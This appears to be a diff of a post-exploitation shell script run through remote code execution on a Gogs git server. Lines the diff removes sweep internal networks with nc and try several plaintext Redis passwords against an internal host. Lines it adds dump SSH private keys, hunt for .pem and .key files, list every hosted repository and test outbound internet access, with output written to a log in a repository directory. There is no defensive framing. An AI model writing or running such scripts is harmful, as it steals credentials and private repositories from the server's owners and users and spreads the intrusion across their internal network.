|
|
@@ -1,28 +1,16 @@
|
|
|
#!/bin/sh
|
|
|
OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
|
|
|
R=/data/git/gogs-repositories
|
|
|
-LOG=$OUT/out2138c
|
|
|
+LOG=$OUT/out2138e
|
|
|
{
|
|
|
-echo "=== round2138c $(date -u) ==="
|
|
|
-echo "--- /data full ---"; ls -la /data/ 2>&1
|
|
|
-echo "--- /data/git ---"; ls -la /data/git/ 2>&1
|
|
|
-echo "--- owners ---"; ls -la $R/ 2>&1
|
|
|
-echo "--- repo list w/ size ---"; du -sm $R/*/*.git 2>/dev/null | sort -n | tail -50
|
|
|
-echo "--- repo counts+lastcommit ---"; for gd in $R/*/*.git; do n=$(git --git-dir="$gd" rev-list --all --count 2>/dev/null); d=$(git --git-dir="$gd" log -1 --format=%ci 2>/dev/null); echo "$gd commits=$n last=$d"; done
|
|
|
-echo "--- local-r dirs ---"; ls -la /data/gogs/data/tmp/local-r/ 2>&1 | head -50
|
|
|
-echo "--- local-r other peek ---"; for i in 82 104 113 116 117 119; do echo "== $i"; ls -la /data/gogs/data/tmp/local-r/$i/ 2>/dev/null | head -8; done
|
|
|
-echo "--- listeners ---"; cat /proc/net/tcp /proc/net/tcp6 2>/dev/null | awk 'NR>1 && $4=="0A" {print $2}' | head -20
|
|
|
-echo "--- net 172.20.x sweep ---"; for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15; do for p in 80 443 3000 3306 6379 6600 8300 16379; do nc -w 1 -z 172.20.0.$i $p 2>/dev/null && echo "172.20.0.$i:$p OPEN"; done; done
|
|
|
-echo "--- other gw probes ---"; for gw in 172.17.0.1 172.18.0.1 172.19.0.1 172.21.0.1; do for p in 80 443 2375 6600; do nc -w 1 -z $gw $p 2>/dev/null && echo "$gw:$p OPEN"; done; done
|
|
|
-echo "--- redis auth attempts (172.20.0.1:16379) ---"
|
|
|
-for pw in "app.ZxAris@169" "ywf123456" "M3F1j9GyxIhKbN4" "ywf123456@!" "nf.video123456@@@"; do
|
|
|
- r=$( (printf "AUTH %s\r\nPING\r\nQUIT\r\n" "$pw"; sleep 1) | timeout 4 nc 172.20.0.1 16379 2>/dev/null | head -c 220 | tr '\r' ' ')
|
|
|
- echo "PW[$pw] => $r"
|
|
|
-done
|
|
|
-echo "--- ssh banners ---"; for p in 10022 25919; do echo "## port $p"; (sleep 1) | timeout 4 nc 172.20.0.1 $p 2>/dev/null | head -c 120; echo; done
|
|
|
-echo "--- host 443 internal probe ---"; curl -sk -m 6 -o /dev/null -w "gw443:%{http_code}\n" https://172.20.0.1/ -H "Host: internal.apinebula.com"; curl -sk -m 6 https://172.20.0.1/api/status -H "Host: internal.apinebula.com" | head -c 400; echo
|
|
|
-echo "--- host 80 probe ---"; curl -s -m 6 -o /dev/null -w "gw80:%{http_code}\n" http://172.20.0.1/ -H "Host: internal.apinebula.com"
|
|
|
-echo "--- pwned2031 tail ---"; tail -c 500 $OUT/pwned2031 2>/dev/null
|
|
|
-echo "--- gogs log tail ---"; ls -la /data/gogs/log/ 2>/dev/null; tail -c 400 /data/gogs/log/*.log 2>/dev/null | head -c 600
|
|
|
-echo "=== end round2138c $(date -u) ==="
|
|
|
+echo "=== round2138e $(date -u) ==="
|
|
|
+echo "--- /data/git/.ssh ---"; ls -la /data/git/.ssh/ 2>&1; for f in /data/git/.ssh/*; do echo "== $f"; head -c 4000 "$f" 2>&1; echo; done
|
|
|
+echo "--- /home/git/.ssh all ---"; ls -la /home/git/.ssh/ 2>&1; for f in /home/git/.ssh/*; do echo "== $f"; head -c 3000 "$f" 2>&1; echo; done
|
|
|
+echo "--- key hunt under /data ---"; find /data -maxdepth 5 \( -name "id_*" -o -name "*.pem" -o -name "*.key" -o -name "authorized_keys*" -o -name "*.pub" -o -name "*.ppk" \) -type f 2>/dev/null | head -30
|
|
|
+echo "--- gitconfig ---"; cat /home/git/.gitconfig /data/git/.gitconfig 2>&1 | head -30
|
|
|
+echo "--- local-r/118 tree ---"; ls -la /data/gogs/data/tmp/local-r/118/ 2>&1 | head -20; ls -la /data/gogs/data/tmp/local-r/118/*/ 2>/dev/null | head -30
|
|
|
+echo "--- internet check ---"; curl -s -m 8 -o /dev/null -w "github:%{http_code}\n" https://github.com/ 2>&1; curl -s -m 8 -o /dev/null -w "hub:%{http_code}\n" https://registry-1.docker.io/v2/ 2>&1
|
|
|
+echo "--- gogs log tail ---"; ls -la /data/gogs/log/ 2>/dev/null; tail -c 800 /data/gogs/log/gogs.log 2>/dev/null
|
|
|
+echo "--- all owners repos (full) ---"; ls /data/git/gogs-repositories/ ; for o in $(ls /data/git/gogs-repositories/); do echo "== $o"; ls /data/git/gogs-repositories/$o/ | head -40; done
|
|
|
+echo "=== end round2138e $(date -u) ==="
|
|
|
} > $LOG 2>&1
|
p